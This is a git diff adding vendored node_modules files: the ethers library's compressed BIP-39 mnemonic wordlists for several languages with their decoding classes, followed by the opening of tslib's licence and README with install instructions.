"0x3c8acc1e7b08d8e76f9fda015ef48dc8c710a73cb7e0f77b2c18a9b5a7adde60"; + +let wordlist: null | LangEn = null; + +/** + * The [[link-bip39-en]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export class LangEn extends WordlistOwl { + + /** + * Creates a new instance of the English language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langEn]] should suffice. + * + * @_ignore: + */ + constructor() { super("en", words, checksum); } + + /** + * Returns a singleton instance of a ``LangEn``, creating it + * if this is the first time being called. + */ + static wordlist(): LangEn { + if (wordlist == null) { wordlist = new LangEn(); } + return wordlist; + } +} diff --git a/node_modules/ethers/src.ts/wordlists/lang-es.ts b/node_modules/ethers/src.ts/wordlists/lang-es.ts new file mode 100644 index 000000000000..785cbfbfbfb9 --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/lang-es.ts @@ -0,0 +1,35 @@ +import { WordlistOwlA } from "./wordlist-owla.js"; + +const words = "0arertoiotadonoaRteirroenaNonaLsolocoiliaralaorrenadaChoN$n0A>Dom,EjaI!#Oga&O'Or#RazoR*Ue=U<0Ab Adem@CeLe%OmoRa!RozUn0DazD$GeLaM,#S,)T^0AlAnceA+EEl]`E`EstruzI.I<2ErU{U'0Af[nArO)Uc Uf_Ul:BaB^|eH@IleJ Lanz/c.LdeMbuN>Nd-oRb(>RnizR+Scu]S#nSu[Tal]T!@T*Tu%UlZ 3BeBid/=S SoSt@3|oEnNgo2An>OqueUsa2ABi`BoCaCi`DaDegaIn//!oLsaMb-{dNi#N}saiRdeRr SqueTeTinVe{Zal2AvoAzoEchaEveIl=In>IsaOcaOmaOnceO)UjaUs>U#2CeoCleE'EyFan{F.HoIt_L#Rbuj(l(+Sc TacaZ.:Bal=BezaBi`B[CaoDav!D,aErFeI{ImanJaJ.LLam Lc$L&Li{dLleLm/^LvoMaMb$Mel=Mi'Mp}c!Nd?Nel-gu+Nic-#N-.ObaOsPazPi%nPo)Pt Puch((b.RcelRe%Rg(i'RneRpe%R+R%SaS>S!oSpaS#rT^ceT_U{lUsaZo3Bol]D!D+Ld/eb_LoAmpuAnc]ApaAr]I>Is)IvoOqueOzaUle%Up 0Cl.EgoE=EnEr#F[G +M->NeN%P_sR>Rue]SneTaU{d2Am^AnA+AseAveI,)ImaInica2B_Cc~|i'Ci`CoDigoDoF_G!He)JinJoL/ch/eg$Lg Lin/l LmoLum`Mba)M!Mi{Mo&Mpr-deNej}g-oc!Nsej}t PaPi(az.Rba%RchoR&nR.(r!S!SmosS%2AneoAt!E Ec!Ei&EmaIaIm,Ip%IsisOmoOnicaOque%U&Uz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ig,Il]OQues%Uga0Ad@Cu+Ez'OT[0O'Ro1EjaU=1I&Ige'0En)0O':C#D_El]Gi`GoIsJ oLabr/>Le%Li&Lm/om/p NNalNi>Nt!-ue=PaPelP?]Que)R Rcel(edR*RoRpa&RqueR[foR)S SeoS~SoS%TaT$Tr@UsaU%VoYa<3A#nCa&C!a|oDalD*G IneL L{'Le/ig+LlejoLoLuc--s N.OnOrPi'Que'R(ch(d!Rez(f?Ri>Rl(mizEgun%Em$EnsaE|!oD^Eb=Er%Es#Lg/*Lm.LpoLrNd*N%P #Pet*PoN{PaP!oSaScaSt+T 5BiB^DoE{G*I&In/e%LoMboM^Ptu[TaTi`:Ba&B!B$BleC GazG[&L/&L!oL*Lm.L.Ls/#LudLv Mb-c~Ndi-e Ng_Ni{dN}#PoQueRdin()nSt_TanU`Xof.3Cc~CoC_#C%DGu*IsL=LvaMa`M?l-d-Re'Rg*S#T?:Ba>BiqueB]BuCoC#JoL L>L,#Ll/.Ma'Mb^Ng}quePaPe)P@P.Qu?l(deRe(if(je%RotR+R%TuajeU+ZaZ.3At+|oC]CnicaJa&J!Ji&L/efo'MaM^Mp=NazNd!N!NisNRmi'Rnur(+rSisSo+StigoT!aX#Z3B$Bu+nEmpoEn{Er[EPoR(.TanT!eTu=Za5Al]B?=C Ci'DoG/&M N}#P PeQueRaxR!oRm,%RneoRoRpe&R_RS!Xi>2AbajoAc#rA!Afi>AgoAjeAmoAnceA#AumaAz EbolEguaEin%EnEp EsIbuIgoIpaIs)IunfoOfeoOmpaOn>OpaO)OzoU>Ue'Ufa2B!@BoEr#MbaM^NelNic(bin(ismoR'T^:0Ic 9C!a0B[l0I{dIrIv! = null; + +function hex(word: string): string { + return hexlify(toUtf8Bytes(word)); +} + +const KiYoKu = "0xe3818de38284e3818f"; +const KyoKu = "0xe3818de38283e3818f" + +function toString(data: Array): string { + return toUtf8String(new Uint8Array(data)); +} + +function loadWords(): Array { + if (_wordlist !== null) { return _wordlist; } + + const wordlist: Array = []; + + // Transforms for normalizing (sort is a not quite UTF-8) + const transform: { [key: string]: string | boolean } = {}; + + // Delete the diacritic marks + transform[toString([227, 130, 154])] = false; + transform[toString([227, 130, 153])] = false; + + // Some simple transforms that sort out most of the order + transform[toString([227, 130, 133])] = toString([227, 130, 134]); + transform[toString([227, 129, 163])] = toString([227, 129, 164]); + transform[toString([227, 130, 131])] = toString([227, 130, 132]); + transform[toString([227, 130, 135])] = toString([227, 130, 136]); + + + // Normalize words using the transform + function normalize(word: string) { + let result = ""; + for (let i = 0; i < word.length; i++) { + let kana = word[i]; + const target = transform[kana]; + if (target === false) { continue; } + if (target) { kana = target; } + result += kana; + } + return result; + } + + // Sort how the Japanese list is sorted + function sortJapanese(a: string, b: string) { + a = normalize(a); + b = normalize(b); + if (a < b) { return -1; } + if (a > b) { return 1; } + return 0; + } + + // Load all the words + for (let length = 3; length <= 9; length++) { + const d = data[length - 3]; + for (let offset = 0; offset < d.length; offset += length) { + const word: Array = []; + for (let i = 0; i < length; i++) { + const k = mapping.indexOf(d[offset + i]); + word.push(227); + word.push((k & 0x40) ? 130: 129); + word.push((k & 0x3f) + 128); + } + wordlist.push(toString(word)); + } + } + wordlist.sort(sortJapanese); + + // For some reason kyoku and kiyoku are flipped in node (!!). + // The order SHOULD be: + // - kyoku + // - kiyoku + + // This should ignore "if", but that doesn't work here?? + /* c8 ignore start */ + if (hex(wordlist[442]) === KiYoKu && hex(wordlist[443]) === KyoKu) { + const tmp = wordlist[442]; + wordlist[442] = wordlist[443]; + wordlist[443] = tmp; + } + /* c8 ignore stop */ + + // Verify the computed list matches the official list + /* istanbul ignore if */ + const checksum = id(wordlist.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== "0xcb36b09e6baa935787fd762ce65e80b0c6a8dabdfbc3a7f86ac0e2c4fd111600") { + throw new Error("BIP39 Wordlist for ja (Japanese) FAILED"); + } + /* c8 ignore stop */ + + _wordlist = wordlist; + + return wordlist; +} + +let wordlist: null | LangJa = null; + +/** + * The [[link-bip39-ja]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export class LangJa extends Wordlist { + + /** + * Creates a new instance of the Japanese language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langJa]] should suffice. + * + * @_ignore: + */ + constructor() { super("ja"); } + + getWord(index: number): string { + const words = loadWords(); + assertArgument(index >= 0 && index < words.length, + `invalid word index: ${ index }`, "index", index); + return words[index]; + } + + getWordIndex(word: string): number { + return loadWords().indexOf(word); + } + + split(phrase: string): Array { + //logger.assertNormalize(); + return phrase.split(/(?:\u3000| )+/g); + } + + join(words: Array): string { + return words.join("\u3000"); + } + + /** + * Returns a singleton instance of a ``LangJa``, creating it + * if this is the first time being called. + */ + static wordlist(): LangJa { + if (wordlist == null) { wordlist = new LangJa(); } + return wordlist; + } +} diff --git a/node_modules/ethers/src.ts/wordlists/lang-ko.ts b/node_modules/ethers/src.ts/wordlists/lang-ko.ts new file mode 100644 index 000000000000..097213865ab2 --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/lang-ko.ts @@ -0,0 +1,104 @@ +import { id } from "../hash/index.js"; +import { assertArgument, toUtf8String } from "../utils/index.js"; + +import { Wordlist } from "./wordlist.js"; + + +const data = [ + "OYAa", + "ATAZoATBl3ATCTrATCl8ATDloATGg3ATHT8ATJT8ATJl3ATLlvATLn4ATMT8ATMX8ATMboATMgoAToLbAToMTATrHgATvHnAT3AnAT3JbAT3MTAT8DbAT8JTAT8LmAT8MYAT8MbAT#LnAUHT8AUHZvAUJXrAUJX8AULnrAXJnvAXLUoAXLgvAXMn6AXRg3AXrMbAX3JTAX3QbAYLn3AZLgvAZrSUAZvAcAZ8AaAZ8AbAZ8AnAZ8HnAZ8LgAZ8MYAZ8MgAZ8OnAaAboAaDTrAaFTrAaJTrAaJboAaLVoAaMXvAaOl8AaSeoAbAUoAbAg8AbAl4AbGnrAbMT8AbMXrAbMn4AbQb8AbSV8AbvRlAb8AUAb8AnAb8HgAb8JTAb8NTAb8RbAcGboAcLnvA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HnMXrRUoJnGnvFnRlvFTJlQnoSTrBXHXrLYSUJgLfoMT8Se8DTrHbDb", + "AbDl8SToJU8An3RbAb8ST8DUSTrGnrAgoLbFU6Db8LTrMg8AaHT8Jb8ObDl8SToJU8Pb3RlvFYoJl" +] + +const codes = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*" + +function getHangul(code: number): string { + if (code >= 40) { + code = code + 168 - 40; + } else if (code >= 19) { + code = code + 97 - 19; + } + + return toUtf8String(new Uint8Array([ 225, (code >> 6) + 132, (code & 0x3f) + 128])); +} + +let _wordlist: null | Array = null; + +function loadWords(): Array { + if (_wordlist != null) { return _wordlist; } + + const wordlist: Array = [ ]; + + data.forEach((data, length) => { + length += 4; + for (let i = 0; i < data.length; i += length) { + let word = ""; + for (let j = 0; j < length; j++) { + word += getHangul(codes.indexOf(data[i + j])); + } + wordlist.push(word) + } + }); + + wordlist.sort(); + + // Verify the computed list matches the official list + /* istanbul ignore if */ + const checksum = id(wordlist.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== "0xf9eddeace9c5d3da9c93cf7d3cd38f6a13ed3affb933259ae865714e8a3ae71a") { + throw new Error("BIP39 Wordlist for ko (Korean) FAILED"); + } + /* c8 ignore stop */ + + _wordlist = wordlist; + + return wordlist; +} + +let wordlist: null | LangKo = null; + +/** + * The [[link-bip39-ko]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export class LangKo extends Wordlist { + + /** + * Creates a new instance of the Korean language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langKo]] should suffice. + * + * @_ignore: + */ + constructor() { + super("ko"); + } + + getWord(index: number): string { + const words = loadWords(); + assertArgument(index >= 0 && index < words.length, + `invalid word index: ${ index }`, "index", index); + return words[index]; + } + + getWordIndex(word: string): number { + return loadWords().indexOf(word); + } + + /** + * Returns a singleton instance of a ``LangKo``, creating it + * if this is the first time being called. + */ + static wordlist(): LangKo { + if (wordlist == null) { wordlist = new LangKo(); } + return wordlist; + } +} diff --git a/node_modules/ethers/src.ts/wordlists/lang-pt.ts b/node_modules/ethers/src.ts/wordlists/lang-pt.ts new file mode 100644 index 000000000000..7448a01e434e --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/lang-pt.ts @@ -0,0 +1,34 @@ +import { WordlistOwl } from "./wordlist-owl.js"; + +const words = "0arad!ototealirertainrasoent hoandoaR#riareha!aroele'oronul0Aca%AixoAl A%rDuz'El]Er$IsmoO$ Rum S-&T(i&TigoVo[=0F&.Il#P' S?S* So&/Sun$Tr&0Ac#Adu+Al/A[f E End(Er_EuIng'Ir?IvoOl{oRac Revi=RizU&Um0Di$rM-.R>o+TismoT|@Tu 0Ali An%Ar@Ent&Es,I?Is Ul,1Ila1Ar E=Ei%Ulejo:B BosaC&]uCh `C@GagemI+c>~/Se#S)n%Ta)Te=rTidaTomTuc Unil]3B(IjoIr^IsebolLd!eLezaLgaLisc Ndi$Ng&aNz(RimbauRl*d>_Sou_XigaZ(_3CoCu=En&Foc&Furc G|naLhe%Mest[Mo$rOlog@OmboOsf(aPol Rr-$Scoi$Sne$SpoSsex$TolaZ _2Ind#OcoOque 2A$BagemC#CejoChec]Ico.L^LetimL]LoMb{oNdeNecoNi)Rb~h>d>e&R+c]V*oXe?2AncoAsaAvezaEuIgaIl/Inc OaOchu+Onze O$Uxo2C]DismoF LeRacoScaS$Z*a:Bimb Rn{oRpe%R['>)zRv&/SacoScaSeb[S%loS~oT a)Tiv UleUs?U%l V&oV(na3BolaDil]G}]Lebr L~ Nou+N,N%ioRc Rr#R%'oRvejaTimV^2Aco)Al{aAm#Ap^ArmeAticeAveEfeEg^E'oEqueIco%If[In`oOc&/Ov(UmboU.Uva0CatrizCl}eD!eD['aEn%Gcui$Rurg@T 2A[zaE_Ic OneUbe2A=Ag'Ba@B($rBr C^El/Ent_E,Gum`oIb'IfaIo%L L{aLh(Lid'Lme@L}oLunaM<=Mb* M-.MitivaMov(MplexoMumNc]N=r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emb_T|3GiloLhue)Lic}eMetr@Mpat@M~ N&Nc(oNg~ NopseN$ni>-eRiTu#5B(fis)Rp[s>[&Rt'Sp'oS%n$:B`aBle%Bu^C/G `aLh(LoLvezMdioRef>j>+xaTuagemUr*oXativoXis)3Atr&C(Ci=Cl#Dio,IaIm Lef}eLh#Mp(oN-%N,rN.Rm&RnoRr-oSeSou+St#ToXtu+Xugo3A+G`aJoloMbr MidezNgi=N%'oRagemT~ 5Al]C]L( LiceM^Mil/N`Ntu+Pe%R>ci=RneioRqueRr!>$S.UcaUp{aX*a2Ab&/Acej Adu$rAfeg Aje$AmaAnc ApoAs{oAt?Av E*oEm(Epid EvoIagemIboIcicloId-%Ilog@Ind!eIploItur Iunf&Oc Ombe)OvaUnfoUque2B~ CquesaT` T|i&:7V 3Bigo0HaId!eIf|me3Olog@SoTigaUbu0A=InaUfru':C*aDi G o,I=,LaL-%Lid!eLo[sN)gemQu{oRe)Rr(Sc~ Sil]S,u+Z Zio3A=D Ge.Ic~ L{oLhiceLu=Nce=rNdav&N( Nt[Rb&Rd!eRe?Rg}h>m`/RnizRs R%n%SpaSti=T|i&3Adu$AgemAj Atu+Br?D{aDr @ElaGaG-%Gi G| L ejoNcoNhe)NilOle)R!>tudeSi.S$Tr&V{oZ*/5A=rArG&L<%LeibolL)gemLumo,Nt!e5L$Vuz`a::D[zRope3QueRe.Rife3Ng ::Ng#Rp 3BuL?9Mb Olog@5Mbi="; +const checksum = "0x2219000926df7b50d8aa0a3d495826b988287df4657fbd100e6fe596c8f737ac"; + +let wordlist: null | LangPt = null; + +/** + * The [[link-bip39-pt]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export class LangPt extends WordlistOwl { + + /** + * Creates a new instance of the Portuguese language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langPt]] should suffice. + * + * @_ignore: + */ + constructor() { super("pt", words, checksum); } + + /** + * Returns a singleton instance of a ``LangPt``, creating it + * if this is the first time being called. + */ + static wordlist(): LangPt { + if (wordlist == null) { wordlist = new LangPt(); } + return wordlist; + } +} + diff --git a/node_modules/ethers/src.ts/wordlists/lang-zh.ts b/node_modules/ethers/src.ts/wordlists/lang-zh.ts new file mode 100644 index 000000000000..cd96f6937bab --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/lang-zh.ts @@ -0,0 +1,112 @@ +import { id } from "../hash/index.js"; +import { assertArgument, toUtf8String } from "../utils/index.js"; + +import { Wordlist } from "./wordlist.js"; + + +const data = "}aE#4A=Yv&co#4N#6G=cJ&SM#66|/Z#4t&kn~46#4K~4q%b9=IR#7l,mB#7W_X2*dl}Uo~7s}Uf&Iw#9c&cw~6O&H6&wx&IG%v5=IQ~8a&Pv#47$PR&50%Ko&QM&3l#5f,D9#4L|/H&tQ;v0~6n]nN> = { + zh_cn: null, + zh_tw: null +} + +const Checks: Record = { + zh_cn: "0x17bcc4d8547e5a7135e365d1ab443aaae95e76d8230c2782c67305d4f21497a1", + zh_tw: "0x51e720e90c7b87bec1d70eb6e74a21a449bd3ec9c020b01d3a40ed991b60ce5d" +} + +const codes = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; +const style = "~!@#$%^&*_-=[]{}|;:,.()<>?" + +function loadWords(locale: string): Array { + if (_wordlist[locale] != null) { return _wordlist[locale] as Array; } + + const wordlist: Array = []; + + let deltaOffset = 0; + for (let i = 0; i < 2048; i++) { + const s = style.indexOf(data[i * 3]); + const bytes = [ + 228 + (s >> 2), + 128 + codes.indexOf(data[i * 3 + 1]), + 128 + codes.indexOf(data[i * 3 + 2]), + ]; + + if (locale === "zh_tw") { + const common = s % 4; + for (let i = common; i < 3; i++) { + bytes[i] = codes.indexOf(deltaData[deltaOffset++]) + ((i == 0) ? 228: 128); + } + } + + wordlist.push(toUtf8String(new Uint8Array(bytes))); + } + + // Verify the computed list matches the official list + const checksum = id(wordlist.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== Checks[locale]) { + throw new Error(`BIP39 Wordlist for ${ locale } (Chinese) FAILED`); + } + /* c8 ignore stop */ + + _wordlist[locale] = wordlist; + + return wordlist; +} + +const wordlists: Record = { }; + +/** + * The [[link-bip39-zh_cn]] and [[link-bip39-zh_tw]] for + * [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export class LangZh extends Wordlist { + + /** + * Creates a new instance of the Chinese language Wordlist for + * the %%dialect%%, either ``"cn"`` or ``"tw"`` for simplified + * or traditional, respectively. + * + * This should be unnecessary most of the time as the exported + * [[langZhCn]] and [[langZhTw]] should suffice. + * + * @_ignore: + */ + constructor(dialect: string) { super("zh_" + dialect); } + + getWord(index: number): string { + const words = loadWords(this.locale); + assertArgument(index >= 0 && index < words.length, + `invalid word index: ${ index }`, "index", index); + return words[index]; + } + + getWordIndex(word: string): number { + return loadWords(this.locale).indexOf(word); + } + + split(phrase: string): Array { + phrase = phrase.replace(/(?:\u3000| )+/g, ""); + return phrase.split(""); + } + + /** + * Returns a singleton instance of a ``LangZh`` for %%dialect%%, + * creating it if this is the first time being called. + * + * Use the %%dialect%% ``"cn"`` or ``"tw"`` for simplified or + * traditional, respectively. + */ + static wordlist(dialect: string): LangZh { + if (wordlists[dialect] == null) { + wordlists[dialect] = new LangZh(dialect); + } + return wordlists[dialect]; + } +} diff --git a/node_modules/ethers/src.ts/wordlists/wordlist-owl.ts b/node_modules/ethers/src.ts/wordlists/wordlist-owl.ts new file mode 100644 index 000000000000..a7f2c9220515 --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/wordlist-owl.ts @@ -0,0 +1,77 @@ + +// Use the encode-latin.js script to create the necessary +// data files to be consumed by this class + +import { id } from "../hash/index.js"; +import { assertArgument } from "../utils/index.js"; + +import { decodeOwl } from "./decode-owl.js"; +import { Wordlist } from "./wordlist.js"; + +/** + * An OWL format Wordlist is an encoding method that exploits + * the general locality of alphabetically sorted words to + * achieve a simple but effective means of compression. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on ASCII-7 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ +export class WordlistOwl extends Wordlist { + #data: string; + #checksum: string; + + /** + * Creates a new Wordlist for %%locale%% using the OWL %%data%% + * and validated against the %%checksum%%. + */ + constructor(locale: string, data: string, checksum: string) { + super(locale); + this.#data = data; + this.#checksum = checksum; + this.#words = null; + } + + /** + * The OWL-encoded data. + */ + get _data(): string { return this.#data; } + + /** + * Decode all the words for the wordlist. + */ + _decodeWords(): Array { + return decodeOwl(this.#data); + } + + #words: null | Array; + #loadWords(): Array { + if (this.#words == null) { + const words = this._decodeWords(); + + // Verify the computed list matches the official list + const checksum = id(words.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== this.#checksum) { + throw new Error(`BIP39 Wordlist for ${ this.locale } FAILED`); + } + /* c8 ignore stop */ + + this.#words = words; + } + return this.#words; + } + + getWord(index: number): string { + const words = this.#loadWords(); + assertArgument(index >= 0 && index < words.length, `invalid word index: ${ index }`, "index", index); + return words[index]; + } + + getWordIndex(word: string): number { + return this.#loadWords().indexOf(word); + } +} diff --git a/node_modules/ethers/src.ts/wordlists/wordlist-owla.ts b/node_modules/ethers/src.ts/wordlists/wordlist-owla.ts new file mode 100644 index 000000000000..d29c2bb6a9a5 --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/wordlist-owla.ts @@ -0,0 +1,41 @@ + +import { WordlistOwl } from "./wordlist-owl.js"; +import { decodeOwlA } from "./decode-owla.js"; + +/** + * An OWL-A format Wordlist extends the OWL format to add an + * overlay onto an OWL format Wordlist to support diacritic + * marks. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on latin-1 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ +export class WordlistOwlA extends WordlistOwl { + #accent: string; + + + /** + * Creates a new Wordlist for %%locale%% using the OWLA %%data%% + * and %%accent%% data and validated against the %%checksum%%. + */ + constructor(locale: string, data: string, accent: string, checksum: string) { + super(locale, data, checksum); + this.#accent = accent; + } + + /** + * The OWLA-encoded accent data. + */ + get _accent(): string { return this.#accent; } + + /** + * Decode all the words for the wordlist. + */ + _decodeWords(): Array { + return decodeOwlA(this._data, this._accent); + } +} diff --git a/node_modules/ethers/src.ts/wordlists/wordlist.ts b/node_modules/ethers/src.ts/wordlists/wordlist.ts new file mode 100644 index 000000000000..1a6bc6df23e6 --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/wordlist.ts @@ -0,0 +1,59 @@ +import { defineProperties } from "../utils/index.js"; + +/** + * A Wordlist represents a collection of language-specific + * words used to encode and devoce [[link-bip-39]] encoded data + * by mapping words to 11-bit values and vice versa. + */ +export abstract class Wordlist { + locale!: string; + + /** + * Creates a new Wordlist instance. + * + * Sub-classes MUST call this if they provide their own constructor, + * passing in the locale string of the language. + * + * Generally there is no need to create instances of a Wordlist, + * since each language-specific Wordlist creates an instance and + * there is no state kept internally, so they are safe to share. + */ + constructor(locale: string) { + defineProperties(this, { locale }); + } + + /** + * Sub-classes may override this to provide a language-specific + * method for spliting %%phrase%% into individual words. + * + * By default, %%phrase%% is split using any sequences of + * white-space as defined by regular expressions (i.e. ``/\s+/``). + */ + split(phrase: string): Array { + return phrase.toLowerCase().split(/\s+/g) + } + + /** + * Sub-classes may override this to provider a language-specific + * method for joining %%words%% into a phrase. + * + * By default, %%words%% are joined by a single space. + */ + join(words: Array): string { + return words.join(" "); + } + + /** + * Maps an 11-bit value into its coresponding word in the list. + * + * Sub-classes MUST override this. + */ + abstract getWord(index: number): string; + + /** + * Maps a word to its corresponding 11-bit value. + * + * Sub-classes MUST override this. + */ + abstract getWordIndex(word: string): number; +} diff --git a/node_modules/ethers/src.ts/wordlists/wordlists-browser.ts b/node_modules/ethers/src.ts/wordlists/wordlists-browser.ts new file mode 100644 index 000000000000..1cfda9e2a13f --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/wordlists-browser.ts @@ -0,0 +1,8 @@ + +import { LangEn } from "./lang-en.js"; + +import type { Wordlist } from "./wordlist.js"; + +export const wordlists: Record = { + en: LangEn.wordlist(), +}; diff --git a/node_modules/ethers/src.ts/wordlists/wordlists-extra.ts b/node_modules/ethers/src.ts/wordlists/wordlists-extra.ts new file mode 100644 index 000000000000..9fde2721af40 --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/wordlists-extra.ts @@ -0,0 +1,9 @@ + +export { LangCz } from "./lang-cz.js"; +export { LangEs } from "./lang-es.js"; +export { LangFr } from "./lang-fr.js"; +export { LangJa } from "./lang-ja.js"; +export { LangKo } from "./lang-ko.js"; +export { LangIt } from "./lang-it.js"; +export { LangPt } from "./lang-pt.js"; +export { LangZh } from "./lang-zh.js"; diff --git a/node_modules/ethers/src.ts/wordlists/wordlists.ts b/node_modules/ethers/src.ts/wordlists/wordlists.ts new file mode 100644 index 000000000000..1a3b12f18400 --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/wordlists.ts @@ -0,0 +1,38 @@ + +import { LangCz } from "./lang-cz.js"; +import { LangEn } from "./lang-en.js"; +import { LangEs } from "./lang-es.js"; +import { LangFr } from "./lang-fr.js"; +import { LangJa } from "./lang-ja.js"; +import { LangKo } from "./lang-ko.js"; +import { LangIt } from "./lang-it.js"; +import { LangPt } from "./lang-pt.js"; +import { LangZh } from "./lang-zh.js"; + +import type { Wordlist } from "./wordlist.js"; + +/** + * The available Wordlists by their + * [ISO 639-1 Language Code](link-wiki-iso639). + * + * (**i.e.** [cz](LangCz), [en](LangEn), [es](LangEs), [fr](LangFr), + * [ja](LangJa), [ko](LangKo), [it](LangIt), [pt](LangPt), + * [zh_cn](LangZh), [zh_tw](LangZh)) + * + * The dist files (in the ``/dist`` folder) have had all languages + * except English stripped out, which reduces the library size by + * about 80kb. If required, they are available by importing the + * included ``wordlists-extra.min.js`` file. + */ +export const wordlists: Record = { + cz: LangCz.wordlist(), + en: LangEn.wordlist(), + es: LangEs.wordlist(), + fr: LangFr.wordlist(), + it: LangIt.wordlist(), + pt: LangPt.wordlist(), + ja: LangJa.wordlist(), + ko: LangKo.wordlist(), + zh_cn: LangZh.wordlist("cn"), + zh_tw: LangZh.wordlist("tw"), +}; diff --git a/node_modules/tslib/CopyrightNotice.txt b/node_modules/tslib/CopyrightNotice.txt new file mode 100644 index 000000000000..0e4254236972 --- /dev/null +++ b/node_modules/tslib/CopyrightNotice.txt @@ -0,0 +1,15 @@ +/****************************************************************************** +Copyright (c) Microsoft Corporation. + +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH +REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, +INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM +LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR +OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +PERFORMANCE OF THIS SOFTWARE. +***************************************************************************** */ + diff --git a/node_modules/tslib/LICENSE.txt b/node_modules/tslib/LICENSE.txt new file mode 100644 index 000000000000..bfe6430cb0d8 --- /dev/null +++ b/node_modules/tslib/LICENSE.txt @@ -0,0 +1,12 @@ +Copyright (c) Microsoft Corporation. + +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH +REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, +INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM +LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR +OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +PERFORMANCE OF THIS SOFTWARE. \ No newline at end of file diff --git a/node_modules/tslib/README.md b/node_modules/tslib/README.md new file mode 100644 index 000000000000..290cc618fba0 --- /dev/null +++ b/node_modules/tslib/README.md @@ -0,0 +1,164 @@ +# tslib + +This is a runtime library for [TypeScript](https://www.typescriptlang.org/) that contains all of the TypeScript helper functions. + +This library is primarily used by the `--importHelpers` flag in TypeScript. +When using `--importHelpers`, a module that uses helper functions like `__extends` and `__assign` in the following emitted file: + +```ts +var __assign = (this && this.__assign) || Object.assign || function(t) { + for (var s, i = 1, n = arguments.length; i < n; i++) { + s = arguments[i]; + for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) + t[p] = s[p]; + } + return t; +}; +exports.x = {}; +exports.y = __assign({}, exports.x); + +``` + +will instead be emitted as something like the following: + +```ts +var tslib_1 = require("tslib"); +exports.x = {}; +exports.y = tslib_1.__assign({}, exports.x); +``` + +Because this can avoid duplicate declarations of things like `__extends`, `__assign`, etc., this means delivering users smaller files on average, as well as less runtime overhead. +For optimized bundles with TypeScript, you should absolutely consider using `tslib` and `--importHelpers`. + +# Installing + +For the latest stable version, run: + +## npm + +```sh +# TypeScript 3.9.2 or later +npm install tslib + +# TypeScript 3.8.4 or earlier +npm install tslib@^1 + +# TypeScript 2.3.2 or earlier +npm install tslib@1.6.1 +``` + +## yarn + +```sh +# TypeScript 3.9.2 or later +yarn add tslib + +# TypeScript 3.8.4 or earlier +yarn add tslib@^1 + +# TypeScript 2.3.2 or earlier +yarn add tslib@1.6.1 +``` + +## bower + +```sh +# TypeScript 3.9.2 or later +bower install tslib + +# TypeScript 3.8.4 or earlier +bower install tslib@^1 + +# TypeScript 2.3.2 or earlier +bower install tslib@1.6.1 +``` + +## JSPM + +```sh +# TypeScript 3.9.2 or later +jspm install tslib + +# TypeScript 3.8.4 or earlier +jspm install tslib@^1 + +# TypeScript 2.3.2 or earlier +jspm install tslib@1.6.1 +``` + +# Usage + +Set the `importHelpers` compiler option on the command line: + +``` +tsc --importHelpers file.ts +``` + +or in your tsconfig.json: + +```json +{ + "compilerOptions": { + "importHelpers": true + } +} +``` + +#### For bower and JSPM users + +You will need to add a `paths` mapping for `tslib`, e.g. For Bower users: + +```json +{ + "compilerOptions": { + "module": "amd", + "importHelpers": true, + "baseUrl": "./", + "paths": { + "tslib" : ["bower_components/tslib/tslib.d.ts"] + } + } +} +``` + +For JSPM users: + +```json +{ + "compilerOptions": { + "module": "system", + "importHelpers": true, + "baseUrl": "./", + "paths": { + "tslib" : 